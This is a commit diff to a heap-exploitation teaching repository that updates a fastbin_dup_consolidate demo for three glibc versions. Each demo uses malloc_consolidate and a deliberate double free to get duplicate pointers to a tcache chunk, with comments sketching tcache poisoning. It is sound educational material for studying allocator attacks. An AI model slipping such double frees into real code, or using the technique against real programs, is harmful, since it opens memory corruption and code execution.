propagate to other versions, .31 and .27 dont have safe linking

Author: k4lizen

glibc_2.27/fastbin_dup_consolidate.c

@@ -2,10 +2,37 @@
 #include <stdlib.h>
 #include <assert.h>
 
+/*
+Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
+
+This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
+double free to gain two pointers to the same large-sized chunk, which is usually difficult to do 
+directly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.
+
+malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially
+merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top
+if possible.
+
+As of glibc version 2.35 it is called only in the following five places:
+1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
+2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
+3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
+4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
+5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)
+
+We will be targeting the first place, so we will need to allocate a chunk that does not belong in the 
+small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). 
+This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Interestingly, the 
+biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize 
+a double free to gain control of a tcache sized chunk.   
+
+*/
+
 int main() {
-	// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
-	puts("This is a powerful technique that bypasses the double free check in tcachebin.");
-	printf("Fill up the tcache list to force the fastbin usage...\n");
+	printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n");
+	printf("It would also allow us to perform tcache poisoning.\n\n");
+
+	printf("Lets fill up the tcache to force fastbin usage...\n\n");
 
 	void *ptr[7];
 
@@ -14,30 +41,52 @@ int main() {
 	for(int i = 0; i < 7; i++)
 		free(ptr[i]);
 
+	// void* ppoison = malloc(0x400);
+	// ^ We would have to allocate this to be able to do tcache poison later, since we need at least 2 chunks in a bin to do it.
+
 	void* p1 = calloc(1,0x40);
+	// Using calloc here doesn't take from the tcache since calloc calls _int_malloc (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3679) 
+	// and taking from the tcache is handled in __libc_malloc. If we used malloc(0x40) the chunk would get taken from the tcache.
 
 	printf("Allocate another chunk of the same size p1=%p \n", p1);
-  	printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
+  	printf("Freeing p1 will add it to the fastbin.\n\n");
   	free(p1);
 
   	void* p3 = malloc(0x400);
-	printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
-	printf("will trigger the malloc_consolidate and merge\n");
-	printf("the fastbin chunks into the top chunk, thus\n");
-	printf("p1 and p3 are now pointing to the same chunk !\n\n");
+
+	// free(ppoison);
+	// We can now free this chunk to put it in the tcache bin for the poison.
+
+	printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
+	printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
+	printf("a tcache-sized chunk with chunk size 0x410. p3=%p\n", p3);
+
+	printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
+	printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
 
 	assert(p1 == p3);
 
-  	printf("Triggering the double free vulnerability!\n\n");
-	free(p1);
+  	printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
+	free(p1); // vulnerability
 
+	printf("So p1 is double freed, and p3 hasn't been freed although it now points to a free chunk.\n");
+	printf("We have thus achieved UAF on tcache!\n");
+
+	// *(long long*)p3 = target;
+	// We can use the UAF here to perform tcache poison.
+
+	printf("We will request a chunk of size 0x400, this will give us the 0x410 chunk thats currently in\n");
+	printf("the tcache bin. p3 and p1 will still be pointing to it.\n");
 	void *p4 = malloc(0x400);
 
 	assert(p4 == p3);
 
-	printf("The double free added the chunk referenced by p1 \n");
-	printf("to the tcache thus the next similar-size malloc will\n");
-	printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
+	printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
+	printf("and both point to the same tcache sized chunk. p3=%p p4=%p\n", p3, p4);
+	printf("We have achieved duplication!\n\n");
+
+	printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
+	printf("have behaved the same, just being taken from the top instead of from the tcache bin.");
 
 	return 0;
 }

glibc_2.31/fastbin_dup_consolidate.c

@@ -2,10 +2,37 @@
 #include <stdlib.h>
 #include <assert.h>
 
+/*
+Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
+
+This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
+double free to gain two pointers to the same large-sized chunk, which is usually difficult to do 
+directly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.
+
+malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially
+merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top
+if possible.
+
+As of glibc version 2.35 it is called only in the following five places:
+1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
+2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
+3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
+4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
+5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)
+
+We will be targeting the first place, so we will need to allocate a chunk that does not belong in the 
+small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). 
+This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Interestingly, the 
+biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize 
+a double free to gain control of a tcache sized chunk.   
+
+*/
+
 int main() {
-	// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
-	puts("This is a powerful technique that bypasses the double free check in tcachebin.");
-	printf("Fill up the tcache list to force the fastbin usage...\n");
+	printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n");
+	printf("It would also allow us to perform tcache poisoning.\n\n");
+
+	printf("Lets fill up the tcache to force fastbin usage...\n\n");
 
 	void *ptr[7];
 
@@ -14,30 +41,52 @@ int main() {
 	for(int i = 0; i < 7; i++)
 		free(ptr[i]);
 
+	// void* ppoison = malloc(0x400);
+	// ^ We would have to allocate this to be able to do tcache poison later, since we need at least 2 chunks in a bin to do it.
+
 	void* p1 = calloc(1,0x40);
+	// Using calloc here doesn't take from the tcache since calloc calls _int_malloc (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3679) 
+	// and taking from the tcache is handled in __libc_malloc. If we used malloc(0x40) the chunk would get taken from the tcache.
 
 	printf("Allocate another chunk of the same size p1=%p \n", p1);
-  	printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
+  	printf("Freeing p1 will add it to the fastbin.\n\n");
   	free(p1);
 
   	void* p3 = malloc(0x400);
-	printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
-	printf("will trigger the malloc_consolidate and merge\n");
-	printf("the fastbin chunks into the top chunk, thus\n");
-	printf("p1 and p3 are now pointing to the same chunk !\n\n");
+
+	// free(ppoison);
+	// We can now free this chunk to put it in the tcache bin for the poison.
+
+	printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
+	printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
+	printf("a tcache-sized chunk with chunk size 0x410. p3=%p\n", p3);
+
+	printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
+	printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
 
 	assert(p1 == p3);
 
-  	printf("Triggering the double free vulnerability!\n\n");
-	free(p1);
+  	printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
+	free(p1); // vulnerability
 
+	printf("So p1 is double freed, and p3 hasn't been freed although it now points to a free chunk.\n");
+	printf("We have thus achieved UAF on tcache!\n");
+
+	// *(long long*)p3 = target;
+	// We can use the UAF here to perform tcache poison.
+
+	printf("We will request a chunk of size 0x400, this will give us the 0x410 chunk thats currently in\n");
+	printf("the tcache bin. p3 and p1 will still be pointing to it.\n");
 	void *p4 = malloc(0x400);
 
 	assert(p4 == p3);
 
-	printf("The double free added the chunk referenced by p1 \n");
-	printf("to the tcache thus the next similar-size malloc will\n");
-	printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
+	printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
+	printf("and both point to the same tcache sized chunk. p3=%p p4=%p\n", p3, p4);
+	printf("We have achieved duplication!\n\n");
+
+	printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
+	printf("have behaved the same, just being taken from the top instead of from the tcache bin.");
 
 	return 0;
 }

glibc_2.32/fastbin_dup_consolidate.c

@@ -2,10 +2,37 @@
 #include <stdlib.h>
 #include <assert.h>
 
+/*
+Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
+
+This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
+double free to gain two pointers to the same large-sized chunk, which is usually difficult to do 
+directly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.
+
+malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially
+merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top
+if possible.
+
+As of glibc version 2.35 it is called only in the following five places:
+1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
+2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
+3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
+4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
+5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)
+
+We will be targeting the first place, so we will need to allocate a chunk that does not belong in the 
+small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). 
+This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Interestingly, the 
+biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize 
+a double free to gain control of a tcache sized chunk.   
+
+*/
+
 int main() {
-	// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
-	puts("This is a powerful technique that bypasses the double free check in tcachebin.");
-	printf("Fill up the tcache list to force the fastbin usage...\n");
+	printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n");
+	printf("It would also allow us to perform tcache poisoning if we had a heap leak.\n\n");
+
+	printf("Lets fill up the tcache to force fastbin usage...\n\n");
 
 	void *ptr[7];
 
@@ -14,30 +41,52 @@ int main() {
 	for(int i = 0; i < 7; i++)
 		free(ptr[i]);
 
+	// void* ppoison = malloc(0x400);
+	// ^ We would have to allocate this to be able to do tcache poison later, since we need at least 2 chunks in a bin to do it.
+
 	void* p1 = calloc(1,0x40);
+	// Using calloc here doesn't take from the tcache since calloc calls _int_malloc (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3679) 
+	// and taking from the tcache is handled in __libc_malloc. If we used malloc(0x40) the chunk would get taken from the tcache.
 
 	printf("Allocate another chunk of the same size p1=%p \n", p1);
-  	printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
+  	printf("Freeing p1 will add it to the fastbin.\n\n");
   	free(p1);
 
   	void* p3 = malloc(0x400);
-	printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
-	printf("will trigger the malloc_consolidate and merge\n");
-	printf("the fastbin chunks into the top chunk, thus\n");
-	printf("p1 and p3 are now pointing to the same chunk !\n\n");
+
+	// free(ppoison);
+	// We can now free this chunk to put it in the tcache bin for the poison.
+
+	printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
+	printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
+	printf("a tcache-sized chunk with chunk size 0x410. p3=%p\n", p3);
+
+	printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
+	printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
 
 	assert(p1 == p3);
 
-  	printf("Triggering the double free vulnerability!\n\n");
-	free(p1);
+  	printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
+	free(p1); // vulnerability
 
+	printf("So p1 is double freed, and p3 hasn't been freed although it now points to a free chunk.\n");
+	printf("We have thus achieved UAF on tcache!\n");
+
+	// *(long long*)p3 = target ^ (p3 >> 12);
+	// We can use the UAF here to perform tcache poison.
+
+	printf("We will request a chunk of size 0x400, this will give us the 0x410 chunk thats currently in\n");
+	printf("the tcache bin. p3 and p1 will still be pointing to it.\n");
 	void *p4 = malloc(0x400);
 
 	assert(p4 == p3);
 
-	printf("The double free added the chunk referenced by p1 \n");
-	printf("to the tcache thus the next similar-size malloc will\n");
-	printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
+	printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
+	printf("and both point to the same tcache sized chunk. p3=%p p4=%p\n", p3, p4);
+	printf("We have achieved duplication!\n\n");
+
+	printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
+	printf("have behaved the same, just being taken from the top instead of from the tcache bin.");
 
 	return 0;
 }